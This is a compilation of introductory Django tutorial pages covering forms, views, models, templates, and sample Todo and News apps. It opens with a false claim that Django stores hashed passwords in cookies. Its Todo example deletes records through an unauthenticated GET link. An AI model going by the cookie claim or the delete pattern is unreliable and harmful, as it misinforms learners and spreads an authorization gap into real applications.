    Since Django framework is made for making web development easy, it has been engineered in such a way that it automatically do the right things to protect the website. For example, In the Django framework instead of putting a password in cookies, the hashed password is stored in it so that it can’t be fetched easily by hackers.

    Scalability
    Django web nodes have no stored state, they scale horizontally – just fire up more of them when you need them. Being able to do this is the essence of good scalability. Instagram and Disqus are two Django based products that have millions of active users, this is taken as an example of the scalability of Django.

    Portability
    All the codes of the Django framework are written in Python, which runs on many platforms. Which leads to run Django too in many platforms such as Linux, Windows and Mac OS.

    Installation of Django


    Django Forms

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 12 Jan, 2022

    When one creates a Form class, the most important part is defining the fields of the form. Each field has custom validation logic, along with a few other hooks. This article revolves around various fields one can use in a form along with various features and techniques concerned with Django Forms. Forms are basically used for taking input from the user in some manner and using that information for logical operations on databases. For example, Registering a user by taking input as his name, email, password, etc.

    Django maps the fields defined in Django forms into HTML input fields. Django handles three distinct parts of the work involved in forms:

    flowChart-1

    Note that all types of work done by Django forms can be done with advanced HTML stuff, but Django makes it easier and efficient especially the validation part. Once you get hold of Django forms you will just forget about HTML forms.

    Syntax :  Django Fields work like Django Model Fields and have the syntax:

     field_name = forms.FieldType(**options) 

    Example:

    Python3




    from django import forms
     
    # creating a form
    class GeeksForm(forms.Form):
        title = forms.CharField()
        description = forms.CharField()

    Using Django Forms

    To use Django Forms, one needs to have a project and an app working in it. After you start an app you can create a form in app/forms.py. Before starting to use a form let’s check how to start a project and implement Django Forms.

    Refer to the following articles to check how to create a project and an app in Django. 

    Creating a Django Form

    Creating a form in Django is completely similar to creating a model, one needs to specify what fields would exist in the form and of what type. For example, to input, a registration form one might need First Name (CharField), Roll Number (IntegerField), and so on. 

    Syntax: 

    from django import forms
            
    class FormName(forms.Form):
             # each field would be mapped as an input field in HTML
            field_name = forms.Field(**options)

    To create a form, in geeks/forms.py Enter the code,

    Python3




    # import the standard Django Forms
    # from built-in library
    from django import forms
       
    # creating a form 
    class InputForm(forms.Form):
       
        first_name = forms.CharField(max_length = 200)
        last_name = forms.CharField(max_length = 200)
        roll_number = forms.IntegerField(
                         help_text = "Enter 6 digit roll number"
                         )
        password = forms.CharField(widget = forms.PasswordInput())

    To know more about how to create a Form using Django forms, visit How to create a form using Django Forms ?.

    Render Django Forms

    Django form fields have several built-in methods to ease the work of the developer but sometimes one needs to implement things manually for customizing User Interface(UI). A form comes with 3 in-built methods that can be used to render Django form fields. 

    To render this form into a view, move to views.py and create a home_view as below. 

    Python3




    from django.shortcuts import render
    from .forms import InputForm
     
    # Create your views here.
    def home_view(request):
        context ={}
        context['form']= InputForm()
        return render(request, "home.html", context)

    In view, one needs to just create an instance of the form class created above in forms.py. Now let’s edit templates > home.html 

    html




    <form action = "" method = "post">
        {% csrf_token %}
        {{form }}
        <input type="submit" value=Submit">
    </form>

    Now, visit http://localhost:8000/

    create-django-form


    To check how to use the data rendered by Django Forms visit Render Django Form Fields 

    Create Django Form from Models

    Django ModelForm is a class that is used to directly convert a model into a Django form. If you’re building a database-driven app, chances are you’ll have forms that map closely to Django models. Now when we have our project ready, create a model in geeks/models.py,

    Python3




    # import the standard Django Model
    # from built-in library
    from django.db import models
       
    # declare a new model with a name "GeeksModel"
    class GeeksModel(models.Model):
            # fields of the model
        title = models.CharField(max_length = 200)
        description = models.TextField()
        last_modified = models.DateTimeField(auto_now_add = True)
        img = models.ImageField(upload_to = "images/")
       
            # renames the instances of the model
            # with their title name
        def __str__(self):
            return self.title

    To create a form directly for this model, dive into geeks/forms.py and Enter the following code:

    Python3




    # import form class from django
    from django import forms
      
    # import GeeksModel from models.py
    from .models import GeeksModel
      
    # create a ModelForm
    class GeeksForm(forms.ModelForm):
        # specify the name of model to use
        class Meta:
            model = GeeksModel
            fields = "__all__"

    Now visit http://127.0.0.1:8000/

    More on Django Forms:

    Basic form data types and fields list

    The most important part of a form and the only required part is the list of fields it defines. Fields are specified by class attributes. Here is a list of all Form Field types used in Django

    NameClassHTML Input
    BooleanFieldclass BooleanField(**kwargs)CheckboxInput
    CharFieldclass CharField(**kwargs)TextInput
    ChoiceFieldclass ChoiceField(**kwargs)Select
    TypedChoiceFieldclass TypedChoiceField(**kwargs)Select
    DateFieldclass DateField(**kwargs)DateInput
    DateTimeFieldclass DateTimeField(**kwargs)DateTimeInput
    DecimalFieldclass DecimalField(**kwargs)NumberInput when Field.localize is False, else TextInput
    DurationFieldclass DurationField(**kwargs)TextInput
    EmailFieldclass EmailField(**kwargsEmailInput
    FileFieldclass FileField(**kwargs)ClearableFileInput
    FilePathFieldclass FilePathField(**kwargs)Select
    FloatFieldclass FloatField(**kwargs)NumberInput when Field.localize is False, else TextInput
    ImageFieldclass ImageField(**kwargs)ClearableFileInput
    IntegerFieldclass IntegerField(**kwargs)NumberInput when Field.localize is False, else TextInput
    GenericIPAddressFieldclass GenericIPAddressField(**kwargs)TextInput
    MultipleChoiceFieldclass MultipleChoiceField(**kwargs)SelectMultiple
    TypedMultipleChoiceFieldclass TypedMultipleChoiceField(**kwargs)SelectMultiple
    NullBooleanFieldclass NullBooleanField(**kwargs)NullBooleanSelect
    RegexFieldclass RegexField(**kwargs)TextInput
    SlugFieldclass SlugField(**kwargs)TextInput
    TimeFieldclass TimeField(**kwargs)TimeInput
    URLFieldclass URLField(**kwargs)URLInput
    UUIDFieldclass UUIDField(**kwargs)TextInput

    Core Field Arguments

    Core Field arguments are the arguments given to each field for applying some constraint or imparting a particular characteristic to a particular Field. For example, adding an argument required = False to CharField will enable it to be left blank by the user. Each Field class constructor takes at least these arguments. Some Field classes take additional, field-specific arguments, but the following should always be accepted:

    .math-table { border-collapse: collapse; width: 100%; } .math-table td { border: 1px solid #5fb962; text-align: left !important; padding: 8px; } .math-table th { border: 1px solid #5fb962; padding: 8px; } .math-table tr>th{ background-color: #c6ebd9; vertical-align: middle; } .math-table tr:nth-child(odd) { background-color: #ffffff; }

    Field OptionsDescription
    requiredBy default, each Field class assumes the value is required, so to make it not required you need to set required=False
    labelThe label argument lets you specify the “human-friendly” label for this field. This is used when the Field is displayed in a Form.
    label_suffixThe label_suffix argument lets you override the form’s label_suffix on a per-field basis.
    widgetThe widget argument lets you specify a Widget class to use when rendering this Field. See Widgets for more information.
    help_textThe help_text argument lets you specify descriptive text for this Field. If you provide help_text, it will be displayed next to the Field when the Field is rendered by one of the convenience Form methods. 
     
    error_messagesThe error_messages argument lets you override the default messages that the field will raise. Pass in a dictionary with keys matching the error messages you want to override.
    validatorsThe validators argument lets you provide a list of validation functions for this field. 
     
    localizeThe localize argument enables the localization of form data input, as well as the rendered output.
    disabled.The disabled boolean argument, when set to True, disables a form field using the disabled HTML attribute so that it won’t be editable by users. 
     

    My Personal Notes arrow_drop_up

    Views In Django | Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 16 Sep, 2021

    Django Views are one of the vital participants of MVT Structure of Django. As per Django Documentation, A view function is a Python function that takes a Web request and returns a Web response. This response can be the HTML contents of a Web page, or a redirect, or a 404 error, or an XML document, or an image, anything that a web browser can display. 

    Django views are part of the user interface — they usually render the HTML/CSS/Javascript in your Template files into what you see in your browser when you render a web page. (Note that if you’ve used other frameworks based on the MVC (Model-View-Controller), do not get confused between Django views and views in the MVC paradigm. Django views roughly correspond to controllers in MVC, and Django templates to views in MVC.)

    django-views

     

    Django View Example

    Illustration of How to create and use a Django view using an Example. Consider a project named geeksforgeeks having an app named geeks. 

    Refer to the following articles to check how to create a project and an app in Django.
     

    After you have a project ready, we can create a view in geeks/views.py,

    Python3




    # import Http Response from django
    from django.http import HttpResponse
    # get datetime
    import datetime
     
    # create a function
    def geeks_view(request):
        # fetch date and time
        now = datetime.datetime.now()
        # convert to string
        html = "Time is {}".format(now)
        # return response
        return HttpResponse(html)

    Let’s step through this code one line at a time: 

    For more info on HttpRequest and HttpResponse visit – Django Request and Response cycle – HttpRequest and HttpResponse Objects
    Let’s get this view to working, in geeks/urls.py,

    Python3




    from django.urls import path
     
    # importing views from views..py
    from .views import geeks_view
     
    urlpatterns = [
        path('', geeks_view),
    ]

    Now, visit http://127.0.0.1:8000/,

    django-view-example

    To check how to make a basic project using MVT (Model, View, Template) structure of Django, visit Creating a Project Django.

    Types of Views

    Django views are divided into two major categories:-

    django-views-types

     

    Function Based Views

    Function based views are writer using a function in python which receives as an argument HttpRequest object and returns an HttpResponse Object. Function based views are generally divided into 4 basic strategies, i.e., CRUD (Create, Retrieve, Update, Delete). CRUD is the base of any framework one is using for development. 
     

    Function based view Example –

    Let’s Create a function-based view list view to display instances of a model. Let’s create a model of which we will be creating instances through our view. In geeks/models.py,

    Python3




    # import the standard Django Model
    # from built-in library
    from django.db import models
      
    # declare a new model with a name "GeeksModel"
    class GeeksModel(models.Model):
     
        # fields of the model
        title = models.CharField(max_length = 200)
        description = models.TextField()
     
        # renames the instances of the model
        # with their title name
        def __str__(self):
            return self.title

    After creating this model, we need to run two commands in order to create Database for the same.

    Python manage.py makemigrations
    Python manage.py migrate

    Now let’s create some instances of this model using shell, run form bash,

    Python manage.py shell

    Enter following commands

    >>> from geeks.models import GeeksModel
    >>> GeeksModel.objects.create(
                           title="title1",
                           description="description1").save()
    >>> GeeksModel.objects.create(
                           title="title2",
                           description="description2").save()
    >>> GeeksModel.objects.create(
                           title="title2",
                           description="description2").save()

    Now if you want to see your model and its data in the admin panel, then you need to register your model.
    Let’s register this model. In geeks/admin.py,

    Python3




    from django.contrib import admin
    from .models import GeeksModel
    # Register your models here.
    admin.site.register(GeeksModel)

    Now we have everything ready for the back end. Verify that instances have been created from http://localhost:8000/admin/geeks/geeksmodel/ 

    django-listview-check-models-instances

    Let’s create a view and template for the same. In geeks/views.py,

    Python3




    from django.shortcuts import render
     
    # relative import of forms
    from .models import GeeksModel
     
     
    def list_view(request):
        # dictionary for initial data with
        # field names as keys
        context ={}
     
        # add the dictionary during initialization
        context["dataset"] = GeeksModel.objects.all()
             
        return render(request, "list_view.html", context)

    Create a template in templates/list_view.html,

    html




    <div class="main">
     
        {% for data in dataset %}.
     
        {{ data.title }}<br/>
        {{ data.description }}<br/>
        <hr/>
     
        {% endfor %}
     
    </div>

    Let’s check what is there on http://localhost:8000/

    django-listview-function-based

    Similarly, function based views can be implemented with logics for create, update, retrieve and delete views.
    Django CRUD (Create, Retrieve, Update, Delete) Function Based Views :-
     

    Class Based Views

    Class-based views provide an alternative way to implement views as Python objects instead of functions. They do not replace function-based views, but have certain differences and advantages when compared to function-based views: 

    Class-based views are simpler and efficient to manage than function-based views. A function-based view with tons of lines of code can be converted into class-based views with few lines only. This is where Object-Oriented Programming comes into impact.  

    Class based view Example –

    In geeks/views.py,

    Python3




    from django.views.generic.list import ListView
    from .models import GeeksModel
     
    class GeeksList(ListView):
     
        # specify the model for list view
        model = GeeksModel

    Now create a URL path to map the view. In geeks/urls.py,

    Python3




    from django.urls import path
     
    # importing views from views..py
    from .views import GeeksList
    urlpatterns = [
        path('', GeeksList.as_view()),
    ]

    Create a template in templates/geeks/geeksmodel_list.html,

    html




    <ul>
        <!-- Iterate over object_list -->
        {% for object in object_list %}
        <!-- Display Objects -->
        <li>{{ object.title }}</li>
        <li>{{ object.description }}</li>
     
        <hr/>
        <!-- If objet_list is empty  -->
        {% empty %}
        <li>No objects yet.</li>
        {% endfor %}
    </ul>

    Let’s check what is there on http://localhost:8000/
     

    django-listview-class-based-views

    Django CRUD (Create, Retrieve, Update, Delete) Class Based Generic Views :-


    My Personal Notes arrow_drop_up

    Django Models

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 11 Apr, 2022

    A Django model is the built-in feature that Django uses to create tables, their fields, and various constraints. In short, Django Models is the SQL of Database one uses with Django. SQL (Structured Query Language) is complex and involves a lot of different queries for creating, deleting, updating or any other stuff related to database. Django models simplify the tasks and organize tables into models. Generally, each model maps to a single database table. 
    This article revolves about how one can use Django models to store data in the database conveniently. Moreover, we can use admin panel of Django to create, update, delete or retrieve fields of a model and various similar operations. Django models provide simplicity, consistency, version control and advanced metadata handling. Basics of a model include – 
     

     

     

    Example – 
     

    Python3




    from django.db import models
     
    # Create your models here.
    class GeeksModel(models.Model):
        title = models.CharField(max_length = 200)
        description = models.TextField()

    Django maps the fields defined in Django models into table fields of the database as shown below. 
     

    django-models

     

    Using Django Models

    To use Django Models, one needs to have a project and an app working in it. After you start an app you can create models in app/models.py. Before starting to use a model let’s check how to start a project and create an app named geeks.py
     

    Refer to the following articles to check how to create a project and an app in Django. 
     

     

    Creating a Model

    Syntax 
     

    from django.db import models
            
    class ModelName(models.Model):
            field_name = models.Field(**options)

    To create a model, in geeks/models.py Enter the code, 
     

    Python3




    # import the standard Django Model
    # from built-in library
    from django.db import models
     
    # declare a new model with a name "GeeksModel"
    class GeeksModel(models.Model):
            # fields of the model
        title = models.CharField(max_length = 200)
        description = models.TextField()
        last_modified = models.DateTimeField(auto_now_add = True)
        img = models.ImageField(upload_to = "images/")
     
            # renames the instances of the model
            # with their title name
        def __str__(self):
            return self.title

    Whenever we create a Model, Delete a Model, or update anything in any of models.py of our project. We need to run two commands makemigrations and migrate. makemigrations basically generates the SQL commands for preinstalled apps (which can be viewed in installed apps in settings.py) and your newly created app’s model which you add in installed apps whereas migrate executes those SQL commands in the database file. 
    So when we run, 
     

    Python manage.py makemigrations

    SQL Query to create above Model as a Table is created and 
     

     Python manage.py migrate

    creates the table in the database.
    Now we have created a model we can perform various operations such as creating a Row for the table or in terms of Django Creating an instance of Model. To know more visit – Django Basic App Model – Makemigrations and Migrate 
     

    Render a model in Django Admin Interface

    To render a model in Django admin, we need to modify app/admin.py. Go to admin.py in geeks app and enter the following code. Import the corresponding model from models.py and register it to the admin interface.
     

    Python3




    from django.contrib import admin
       
    # Register your models here.
    from .models import GeeksModel
       
    admin.site.register(GeeksModel)

    Now we can check whether the model has been rendered in Django Admin. Django Admin Interface can be used to graphically implement CRUD (Create, Retrieve, Update, Delete). 
     

    Django-Models-render-admin

    To check more on rendering models in django admin, visit – Render Model in Django Admin Interface
     

    Django CRUD – Inserting, Updating and Deleting Data

    Django lets us interact with its database models, i.e. add, delete, modify and query objects, using a database-abstraction API called ORM(Object Relational Mapper). We can access the Django ORM by running the following command inside our project directory.
     

    python manage.py shell

    Adding objects
    To create an object of model Album and save it into the database, we need to write the following command:
     

    >>>> a = GeeksModel(
    
             title = "GeeksForGeeks",  
    
             description = "A description here",
    
             img = "geeks/abc.png"
    
             )
    
    >>> a.save()

    Retrieving objects 
    To retrieve all the objects of a model, we write the following command:
     

    >>> GeeksModel.objects.all()
    <QuerySet [<GeeksModel: Divide>, <GeeksModel: Abbey Road>, <GeeksModel: Revolver>]>

    Modifying existing objects 
    We can modify an existing object as follows:
     

    >>> a = GeeksModel.objects.get(id = 3)
    >>> a.title = "Pop"
    >>> a.save()

    Deleting objects 
    To delete a single object, we need to write the following commands:
     

    >>> a = Album.objects.get(id = 2)
    >>> a.delete()

    To check detailed post of Django’s ORM (Object) visit Django ORM – Inserting, Updating & Deleting Data
     

    Validation on Fields in a Model

    Built-in Field Validations in Django models are the default validations that come predefined to all Django fields. Every field comes in with built-in validations from Django validators. For example, IntegerField comes with built-in validation that it can only store integer values and that too in a particular range. 
    Enter the following code into models.py file of geeks app. 
     

    Python3




    from django.db import models
    from django.db.models import Model
    # Create your models here.
     
    class GeeksModel(Model):
        geeks_field = models.IntegerField()
     
        def __str__(self):
            return self.geeks_field

    After running makemigrations and migrate on Django and rendering above model, let us try to create an instance using string “GfG is Best“. 
     

    built-in-validation-django-models

    You can see in the admin interface, one can not enter a string in an IntegerField. Similarly every field has its own validations. To know more about validations visit, Built-in Field Validations – Django Models
     

    More on Django Models –

     

     

    Basic model data types and fields list

    The most important part of a model and the only required part of a model is the list of database fields it defines. Fields are specified by class attributes. Here is a list of all Field types used in Django. 
     

     

    Field NameDescription
    AutoFieldIt An IntegerField that automatically increments.
    BigAutoFieldIt is a 64-bit integer, much like an AutoField except that it is guaranteed to fit numbers from 1 to 9223372036854775807.
    BigIntegerFieldIt is a 64-bit integer, much like an IntegerField except that it is guaranteed to fit numbers from -9223372036854775808 to 9223372036854775807.
    BinaryFieldA field to store raw binary data.
    BooleanFieldA true/false field. 
    The default form widget for this field is a CheckboxInput.
    CharFieldIt is string filed for small to large-sized input
    DateFieldA date, represented in Python by a datetime.date instance
     It is used for date and time, represented in Python by a datetime.datetime instance.
    DecimalFieldIt is a fixed-precision decimal number, represented in Python by a Decimal instance.
    DurationFieldA field for storing periods of time.
    EmailFieldIt is a CharField that checks that the value is a valid email address.
    FileFieldIt is a file-upload field.
    FloatFieldIt is a floating-point number represented in Python by a float instance.
    ImageFieldIt inherits all attributes and methods from FileField, but also validates that the uploaded object is a valid image.
    IntegerFieldIt is an integer field. Values from -2147483648 to 2147483647 are safe in all databases supported by Django.
    GenericIPAddressFieldAn IPv4 or IPv6 address, in string format (e.g. 192.0.2.30 or 2a02:42fe::4).
    NullBooleanFieldLike a BooleanField, but allows NULL as one of the options.
    PositiveIntegerFieldLike an IntegerField, but must be either positive or zero (0).
    PositiveSmallIntegerFieldLike a PositiveIntegerField, but only allows values under a certain (database-dependent) point.
    SlugFieldSlug is a newspaper term. A slug is a short label for something, containing only letters, numbers, underscores or hyphens. They’re generally used in URLs.
    SmallIntegerFieldIt is like an IntegerField, but only allows values under a certain (database-dependent) point.
    TextFieldA large text field. The default form widget for this field is a Textarea.
    TimeFieldA time, represented in Python by a datetime.time instance.
    URLFieldA CharField for a URL, validated by URLValidator.
    UUIDFieldA field for storing universally unique identifiers. Uses Python’s UUID class. When used on PostgreSQL, this stores in a uuid datatype, otherwise in a char(32).

     

    Relationship Fields

    Django also defines a set of fields that represent relations.

     

    Field NameDescription
    ForeignKeyA many-to-one relationship. Requires two positional arguments: the class to which the model is related and the on_delete option.
    ManyToManyFieldA many-to-many relationship. Requires a positional argument: the class to which the model is related, which works exactly the same as it does for ForeignKey, including recursive and lazy relationships.
    OneToOneFieldA one-to-one relationship. Conceptually, this is similar to a ForeignKey with unique=True, but the “reverse” side of the relation will directly return a single object.

     

    Field Options

    Field Options are the arguments given to each field for applying some constraint or imparting a particular characteristic to a particular Field. For example, adding an argument null = True to CharField will enable it to store empty values for that table in relational database. 
    Here are the field options and attributes that an CharField can use.

     

    Field OptionsDescription
    NullIf True, Django will store empty values as NULL in the database. Default is False.
    BlankIf True, the field is allowed to be blank. Default is False.
    db_columnThe name of the database column to use for this field. If this isn’t given, Django will use the field’s name. 
     
    DefaultThe default value for the field. This can be a value or a callable object. If callable it will be called every time a new object is created. 
     
    help_textExtra “help” text to be displayed with the form widget. It’s useful for documentation even if your field isn’t used on a form. 
     
    primary_keyIf True, this field is the primary key for the model.
    editableIf False, the field will not be displayed in the admin or any other ModelForm. They are also skipped during model validation. Default is True
     
    error_messagesThe error_messages argument lets you override the default messages that the field will raise. Pass in a dictionary with keys matching the error messages you want to override. 
     
    help_textExtra “help” text to be displayed with the form widget. It’s useful for documentation even if your field isn’t used on a form. 
     
    verbose_nameA human-readable name for the field. If the verbose name isn’t given, Django will automatically create it using the field’s attribute name, converting underscores to spaces. 
     
    validatorsA list of validators to run for this field. See the validators documentation for more information. 
     
    UniqueIf True, this field must be unique throughout the table. 
     

     


    My Personal Notes arrow_drop_up

    Django Templates

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 27 Sep, 2021

    Templates are the third and most important part of Django’s MVT Structure. A template in Django is basically written in HTML, CSS, and Javascript in a .html file. Django framework efficiently handles and generates dynamically HTML web pages that are visible to the end-user. Django mainly functions with a backend so, in order to provide a frontend and provide a layout to our website, we use templates. There are two methods of adding the template to our website depending on our needs.
    We can use a single template directory which will be spread over the entire project. 
    For each app of our project, we can create a different template directory.

    For our current project, we will create a single template directory that will be spread over the entire project for simplicity. App-level templates are generally used in big projects or in case we want to provide a different layout to each component of our webpage.

    Configuration

    Django Templates can be configured in app_name/settings.py,  

    Python3




    TEMPLATES = [
        {
            # Template backend to be used, For example Jinja
            'BACKEND': 'django.template.backends.django.DjangoTemplates',
            # Directories for templates
            'DIRS': [],
            'APP_DIRS': True,
     
            # options to configure
            'OPTIONS': {
                'context_processors': [
                    'django.template.context_processors.debug',
                    'django.template.context_processors.request',
                    'django.contrib.auth.context_processors.auth',
                    'django.contrib.messages.context_processors.messages',
                ],
            },
        },
    ]

    Using Django Templates

    Illustration of How to use templates in Django using an Example Project. Templates not only show static data but also the data from different databases connected to the application through a context dictionary. Consider a project named geeksforgeeks having an app named geeks. 

    Refer to the following articles to check how to create a project and an app in Django. 

    To render a template one needs a view and a URL mapped to that view. Let’s begin by creating a view in geeks/views.py,  

    Python3




    # import Http Response from django
    from django.shortcuts import render
      
    # create a function
    def geeks_view(request):
        # create a dictionary to pass
        # data to the template
        context ={
            "data":"Gfg is the best",
            "list":[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
        }
        # return response with template and context
        return render(request, "geeks.html", context)

    Now we need to map a URL to render this view, 

    Python3




    from django.urls import path
     
    # importing views from views..py
    from .views import geeks_view
     
    urlpatterns = [
        path('', geeks_view),
    ]

    Finally create a template in templates/geeks.html, 

    HTML




    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Homepage</title>
    </head>
    <body>
        <h1>Welcome to Geeksforgeeks.</h1>
         
     
     
    <p> Data  is {{  data }}</p>
     
     
     
        <h4>List is </h4>
        <ul>
        {% for i in list %}
        <li>{{ i }}</li>
        {% endfor %}
    </body>
    </html>

    Let’s check if it is working, 

    django-templates

    The Django template language

    This is one of the most important facilities provided by Django Templates. A Django template is a text document or a Python string marked-up using the Django template language. Some constructs are recognized and interpreted by the template engine. The main ones are variables and tags. As we used for the loop in the above example, we used it as a tag. similarly, we can use various other conditions such as if, else, if-else, empty, etc. The main characteristics of Django Template language are Variables, Tags, Filters, and Comments. 

    Variables

    Variables output a value from the context, which is a dict-like object mapping keys to values. The context object we sent from the view can be accessed in the template using variables of Django Template. 

    Syntax

    {{ variable_name }}

    Example
    Variables are surrounded by {{ and }} like this:  

    My first name is {{ first_name }}. My last name is {{ last_name }}. 

    With a context of {‘first_name’: ‘Naveen’, ‘last_name’: ‘Arora’}, this template renders to: 

    My first name is Naveen. My last name is Arora.

    To know more about Django Template Variables visit – variables – Django Templates 

    Tags

    Tags provide arbitrary logic in the rendering process. For example, a tag can output content, serve as a control structure e.g. an “if” statement or a “for” loop, grab content from a database, or even enable access to other template tags.

    Syntax

    {% tag_name %}

    Example

    Tags are surrounded by {% and %} like this:

    {% csrf_token %}

    Most tags accept arguments, for example : 

    {% cycle 'odd' 'even' %}
     
     Commonly used Tags 
    Commentcycleextends
    iffor loopfor … empty loop
    Boolean Operatorsfirstofinclude
    loremnowurl

    Filters

    Django Template Engine provides filters that are used to transform the values of variables and tag arguments. We have already discussed major Django Template Tags. Tags can’t modify the value of a variable whereas filters can be used for incrementing the value of a variable or modifying it to one’s own need. 

    Syntax

    {{ variable_name | filter_name }}

    Filters can be “chained.” The output of one filter is applied to the next. {{ text|escape|linebreaks }} is a common idiom for escaping text contents, then converting line breaks to <p> tags. 

    Example

    {{ value | length }}

    If value is [‘a’, ‘b’, ‘c’, ‘d’], the output will be 4

     Major Template Filters 
    addaddslashescapfirst
    centercutdate
    defaultdictsortdivisibleby
    escapefilesizefodivisible byrmatfirst
    joinlastlength
    line numberslowermake_list
    randomsliceslugify
    timetimesincetitle
    unordered_listupperwordcount

    Comments

    Template ignores everything between {% comment %} and {% end comment %}. An optional note may be inserted in the first tag. For example, this is useful when commenting out code for documenting why the code was disabled. 

    Syntax

    {% comment 'comment_name' %}
    {% endcomment %}

    Example :

    {% comment "Optional note" %}
        Commented out text with {{ create_date|date:"c" }}
    {% endcomment %}

    To know more about using comments in Templates, visit comment – Django template tags 

    Template Inheritance

    The most powerful and thus the most complex part of Django’s template engine is template inheritance. Template inheritance allows you to build a base “skeleton” template that contains all the common elements of your site and defines blocks that child templates can override. extends tag is used for the inheritance of templates in Django. One needs to repeat the same code again and again. Using extends we can inherit templates as well as variables.

    Syntax

    {% extends 'template_name.html' %} 

    Example :
    assume the following directory structure:

    dir1/
        template.html
        base2.html
        my/
            base3.html
    base1.html

    In template.html, the following paths would be valid: 

    HTML




    {% extends "./base2.html" %}
    {% extends "../base1.html" %}
    {% extends "./my/base3.html" %}

    To know more about Template inheritance and extends, visit extends – Django Template Tags 
     


    My Personal Notes arrow_drop_up

    Python | ToDo webapp using Django

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 25 May, 2022

    Prerequisite : django installation
    Django is a high-level Python Web framework based web framework that allows rapid development and clean, pragmatic design. today we will create a todo app created to understand the basics of Django. In this web app, one can create notes like Google Keep or Evernote.
    Modules required : 
     

    pip install --upgrade django-crispy-forms

    basic setup :
    Start a project by the following command – 
     

    django-admin startproject todo-site

    Change directory to todo-site – 
     

    cd todo-site

    Start the server- Start the server by typing following command in terminal – 
     

    python manage.py runserver

    To check whether the server is running or not go to a web browser and enter http://127.0.0.1:8000/ as URL.
    Now stop the server by pressing 

    ctrl-c

    Let’s create an app now.
     

    python manage.py startapp todo

    Goto todo/ folder by doing : cd todo and create a folder with index.html file : templates/todo/index.html
    Open the project folder using a text editor. The directory structure should look like this :
     

    Now add todo app and crispty_form in your todo_site in settings.py.
     

    Edit urls.py file in todo_site :
     

    Python3




    from django.contrib import admin
    from django.urls import path
    from todo import views
      
    urlpatterns = [
        #####################home_page###########################################
        path('', views.index, name="todo"),
        ####################give id no. item_id name or item_id=i.id ############
        # pass item_id as primary key to remove that the todo with given id
        path('del/<str:item_id>', views.remove, name="del"),
        ########################################################################
        path('admin/', admin.site.urls),
    ]

    Edit models.py in todo : 
     

    Python3




    from django.db import models
    from django.utils import timezone
      
    class Todo(models.Model):
        title=models.CharField(max_length=100)
        details=models.TextField()
        date=models.DateTimeField(default=timezone.now)
      
        def __str__(self):
            return self.title

    Edit views.py in todo :
     

    Python3




    from django.shortcuts import render, redirect
    from django.contrib import messages
      
    ## import todo form and models
      
    from .forms import TodoForm
    from .models import Todo
      
    ###############################################
      
    def index(request):
      
        item_list = Todo.objects.order_by("-date")
        if request.method == "POST":
            form = TodoForm(request.POST)
            if form.is_valid():
                form.save()
                return redirect('todo')
        form = TodoForm()
      
        page = {
                 "forms" : form,
                 "list" : item_list,
                 "title" : "TODO LIST",
               }
        return render(request, 'todo/index.html', page)
      
      
      
    ### function to remove item, it receive todo item_id as primary key from url ##
    def remove(request, item_id):
        item = Todo.objects.get(id=item_id)
        item.delete()
        messages.info(request, "item removed !!!")
        return redirect('todo')

    Now create a forms.py in todo : 
     

    Python3




    from django import forms
    from .models import Todo
      
    class TodoForm(forms.ModelForm):
        class Meta:
            model = Todo
            fields="__all__"

    Register models to admin : 
     

    Navigate to templates/todo/index.html and edit it : link to index.html file
    Make migrations and migrate it 
     

    python manage.py makemigrations
    python manage.py migrate

    Now you can run the server to see your todo app 
     

    python manage.py runserver

     

     


    My Personal Notes arrow_drop_up
    Recommended Articles
    Page :


    Python | Django News App

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 14 Dec, 2020

    Django is a high-level framework which is written in Python which allows us to create server-side web applications. In this article, we will see how to create a News application using Django. 
    We will be using News Api and fetch all the headline news from the api. Read more about the api here news api.
    Do the Following steps in command prompt or terminal: 
     

    Open the newsproject folder using a text editor. The directory structure should look like this 
     

    Create a “templates” folder in your newsapp and it in settings.py
    Settings .py 
     

    In views.py –
    In views, we create a view named index which takes a request and renders an html as a response. Firstly we import newsapi from NewsApiClient. 
     




    # importing api
    from django.shortcuts import render
    from newsapi import NewsApiClient
      
    # Create your views here. 
    def index(request):
          
        newsapi = NewsApiClient(api_key ='YOURAPIKEY')
        top = newsapi.get_top_headlines(sources ='techcrunch')
      
        l = top['articles']
        desc =[]
        news =[]
        img =[]
      
        for i in range(len(l)):
            f = l[i]
            news.append(f['title'])
            desc.append(f['description'])
            img.append(f['urlToImage'])
        mylist = zip(news, desc, img)
      
        return render(request, 'index.html', context ={"mylist":mylist})

     
    Create a index.html in templates folder. 
     

    html




    <!DOCTYPE html>
    <html lang="en" dir="ltr">
      <head>
        <meta charset="utf-8">
        <title></title>
      
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
    <!-- Optional theme -->
      </head>
      <body>
        <div class="jumbotron" style="color:black">
      
          <h1 style ="color:white">
       Get The latest news on our website
          </h1>
      
        </div>
      
      
        <div class="container">
          {% for new, des, i in mylist %}
                  <img src="{{ i }}" alt="">
                  <h1>news:</h1> {{ new }}
                  {{ value|linebreaks }}
      
                  <h4>description:</h4>{{ des }}
                  {{ value|linebreaks }}
      
          {% endfor %}
        </div>
      
      </body>
    </html>

     
    Now map the views to urls.py 
     




    from django.contrib import admin
    from django.urls import path
    from newsapp import views
      
    urlpatterns = [
       path('', views.index, name ='index'),
        path('admin/', admin.site.urls),
    ]

    Your output of the project should look like this – 
     


    My Personal Notes arrow_drop_up
    Recommended Articles
    Page :


    Weather app using Django | Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 25 May, 2022

    In this tutorial, we will learn how to create a Weather app that uses Django as backend. Django provides a Python Web framework based web framework that allows rapid development and clean, pragmatic design.

    Basic Setup –
    Change directory to weather –

    cd weather

    Start the server –

